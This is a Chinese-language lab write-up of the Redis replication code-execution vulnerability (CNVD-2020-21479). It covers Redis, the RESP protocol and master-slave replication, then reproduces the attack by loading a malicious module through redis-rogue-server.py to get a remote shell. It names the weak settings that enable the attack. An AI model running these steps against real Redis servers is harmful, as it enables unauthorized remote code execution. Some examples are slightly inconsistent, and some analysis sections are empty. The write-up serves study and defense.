Redis主从复制代码执行漏洞

Catalogue
  1. 1. 漏洞信息
    1. 1.1. 漏洞简介
    2. 1.2. 组件概述
    3. 1.3. 漏洞概述
    4. 1.4. 漏洞利用条件
    5. 1.5. 漏洞影响
    6. 1.6. 漏洞修复
  2. 2. 漏洞复现
    1. 2.1. 环境拓扑
    2. 2.2. 应用协议
    3. 2.3. 漏洞复现
  3. 3. 漏洞分析
    1. 3.1. 技术背景
      1. 3.1.1. Redis命令与RESP协议
      2. 3.1.2. Redis主从复制
        1. 3.1.2.1. 如何使用主从复制
    2. 3.2. 详细分析
      1. 3.2.1. 漏洞利用过程
      2. 3.2.2. 代码分析
    3. 3.3. 流量分析
  4. 4. 参考资料

漏洞信息

漏洞简介

  • 漏洞名称:Redis Replication代码执行漏洞
  • 漏洞编号:CNVD-2020-21479
  • 漏洞类型:代码执行
  • CVSS评分:【CVSS v2.0:】【CVSS v3.0:】
  • 漏洞危害等级:高危

组件概述

​ Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

​ 它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

漏洞概述

​ Redis Replication存在代码执行漏洞,该漏洞源于网络系统或产品的代码开发过程中存在设计或实现不当的问题。攻击者可利用漏洞执行任意代码。

由于Redis 4.x以及之后的版本,Redis新增了模块功能,用户可以通过外部拓展实现用户需要的功能,这样就可以在Redis中实现一个新的Redis命令。攻击者可以利用此功能(由Redis的主机实例通过fullresync同步到从机),使被攻击机加载恶意的模块.so文件,从而实现远程命令执行。

漏洞利用条件

1、Redis配置了空密码或者弱密码

2、Redis配置文件中bind绑定0.0.0.0 127.0.0.1或者被注释

3、Redis解除保护模式,可以在配置文件将protected-mode,设置为no

1
protected-mode no

或者,启动redis-server后,在redis-cli中输入命令,临时关闭保护模式

1
CONFIG SET protected-mode no

3、Redis配置 /var/lib/redis/dump.rdb是slave服务器默认的保存路径,没有保存这个文件的文件夹,创建相应文件夹,给redis用户权限,或者直接运行在root权限下

攻击者可以远程连接到以上配置的redis,并执行命令。

漏洞影响

redis 4.x

redis 5.x

漏洞修复

https://download.redis.io/releases/

漏洞复现

环境拓扑

10.251.0.33 (kali,master)——————————————————————————-> 10.251.0.36(Redis-server,slave)

主从关系,攻击机为master,靶机为slave。

应用协议

6379/RESP(Redis的序列化协议)

漏洞复现

启动靶机10.251.0.36的redis-server(slave)

1
redis-server

在攻击机Kali 10.251.0.33,本地编译一个恶意的exp.so

1
2
cd RedisModulesSDK/exp/
make

https://github.com/RicterZ/RedisModules-ExecuteCommand

启动攻击机的redis-server(master),并执行模拟的redis-cli程序,发送恶意命令,既执行redis-rogue-server.py

1
python3 redis-rogue-server.py --rhost 10.251.0.36 --lhost 10.251.0.33

执行前,先检查攻击机的redis-server(master)和靶机redis-server(slave)的保护模式是否都关闭了,若未关闭,被执行命令的redis服务器会报错

在攻击机运行redis-cli,关闭保护模式

在靶机上运行redis-cli,关闭保护模式

启动攻击机的redis-server(master),并执行redis-rogue-server.py

1
python3 redis-rogue-server.py --rhost 10.251.0.36 --lhost 10.251.0.33

执行后靶机报错,权限不足

Redis主从文件权限问题

问题:Opening the temp file needed for MASTER <-> SLAVE synchronization: Permission denied

通过日志看出来是同步文件权限的问题

问题是dump.rdb文件已经成功从master复制的到了slave服务器 /var/lib/redis/dump.rdb是slave服务器默认的保存路径,没有保存这个文件的文件夹,创建相应文件夹,给redis用户权限,靶机redis-server运行在普通用户权限,无法加载.so运行,为了复现顺利,故以root权限运行redis-server

1
sudo redis-server

再次执行redis-rogue-server.py

1
python3 redis-rogue-server.py --rhost 10.251.0.36 --lhost 10.251.0.33

靶机redis-server信息台打印出加载.so成功的信息

看一下攻击机kali 的redis-server(master)的控制台信息,发现主从配置成功

攻击机kali,redis-rogue-server信息台输出,shell接口,输入id返回ID信息(信息编码问题)

从数据包中可以看到id被执行成功后,返回的信息

可以看一下执行命令后的主从关系,攻击机为master

靶机为slave

ps:

修改了默认的配置文件后,直接启动redis,新的配置文件是不生效的,所以必须指定配置文件路径的方式来启动:

1
./redis-server /usr/local/redis-4.0.0/redis.conf

漏洞分析

技术背景

Redis命令与RESP协议

​ Redis是轻量级的,非易失性键值数据存储。 它通过Redis序列化协议(RESP)提供对简单易变数据结构的访问,该协议是基于TCP的协议。 与大多数其他数据库一样,Redis遵循客户端—服务器模型。 客户端能够通过Redis命令在Redis服务器上创建,修改和检索记录。

​ 例如,以下命令创建“ TEST”字符串记录并将其分配给“ 1234”键值,将此记录修改为“ TEST2”并分别检索记录:

1
2
3
SET 1234 TEST
GETSET 1234 TEST2
GET 1234

​ 有关Redis命令的完整列表,请参考 http://redis.io/commands

​ Redis客户端通过端口6379通过TCP使用Redis序列化协议(RESP)与服务器进行通信。可通过 http://redis.io/topics/protocol获得该协议详细说明。 RESP使用五种数据类型,这些数据类型由相应数据的第一个字节标识:

  • 简单字符串以“ +”字符开头

  • 错误以“-”字符开头

  • 整数以“:”字符开头

  • 批量字符串以“ $”字符开头

  • 数组以“ *”字符开头

    ​ 批量字符串以“ $”字符开头,后跟相应字符串的长度。 以下重点介绍如何将“ Sangfor”表示为大容量字符串:

1
2
$7 CRLF
TELUS

​ 其中CRLF表示新的行序列回车(CR),后跟换行(LF)。

​ RESP数组以“ *”字符开头,后跟数组中的元素数。 下面说明了一个由2个元素组成的大容量字符串数组:

1
2
3
4
5
*2 CRLF
$7 CRLF
Sangfor CRLF
$4 CRLF
TEST CRLF

​ 所有Redis命令都通过RESP字符串数组发送到服务器。 例如,上述SET命令将以下形式发送:

1
2
3
4
5
6
7
*3 CRLF
$3 CRLF
SET CRLF
$4 CRLF
1234 CRLF
$4 CRLF
TEST CRLF

Redis主从复制

​ 主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

​ 默认情况下,每台Redis服务器都是主节点;且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点。

​ 主从复制的作用主要包括:

  • 数据冗余:主从复制实现了数据的热备份,是持久化之外的一种数据冗余方式。
  • 故障恢复:当主节点出现问题时,可以由从节点提供服务,实现快速的故障恢复;实际上是一种服务的冗余。
  • 负载均衡:在主从复制的基础上,配合读写分离,可以由主节点提供写服务,由从节点提供读服务(即写Redis数据时应用连接主节点,读Redis数据时应用连接从节点),分担服务器负载;尤其是在写少读多的场景下,通过多个从节点分担读负载,可以大大提高Redis服务器的并发量。
  • 高可用基石:除了上述作用以外,主从复制还是哨兵和集群能够实施的基础,因此说主从复制是Redis高可用的基础。
如何使用主从复制
  1. 建立复制

需要注意,主从复制的开启,完全是在从节点发起的;不需要我们在主节点做任何事情。

从节点开启主从复制,有3种方式:

(1)配置文件

在从服务器的配置文件中加入:

1
slaveof <masterip> <masterport>

(2)启动命令

redis-server启动命令后加入

1
redis-server --slaveof <masterip> <masterport>

(3)客户端命令

Redis服务器启动后,直接通过redis-cli客户端执行命令,则该Redis实例成为从节点。

1
slaveof <masterip> <masterport>

以上3种方式是等效的,下面以客户端命令的方式为例,看一下当执行了slaveof后,Redis主节点和从节点的变化。

  1. 实例

通过以上3种方式的任意一种,建立主从关系,实例中10.251.0.33为主节点(master),10.251.0.36为从节点(slave)

下面验证一下,在主从复制建立后,主节点的数据会复制到从节点中。

(1)首先在从节点,查询一个不存在的key:

(2)然后在主节点中增加这个key:

(3)此时在从节点中再次查询这个key,会发现主节点的操作已经同步至从节点:

(4)然后在主节点删除这个key:

(5)此时在从节点中再次查询这个key,会发现主节点的操作已经同步至从节点:

  1. 断开复制
1
slaveof <masterip> <masterport>

命令建立主从复制关系以后,可以通过命令断开

1
slaveof no one

需要注意的是,从节点断开复制后,不会删除已有的数据,只是不再接受主节点新的数据变化。

详细分析

漏洞利用过程

攻击者连接到远程无密码或者弱密码的redis-server,执行slaveof命令,使redis服务器成为攻击者的slave机器,然后攻击者在本地编译一个恶意.so文件,利用外部模块扩展Redis功能这个特性,再配合主从复制机制传送到目标机器,之后注入远程命令调用.so,执行恶意操作。

代码分析

此漏洞利用的是redis的特性

流量分析

​ 攻击包为RESP协议,Redis默认监听在6379,使用Redis命令,Redis命令详解请看 3.1技术背景。

参考资料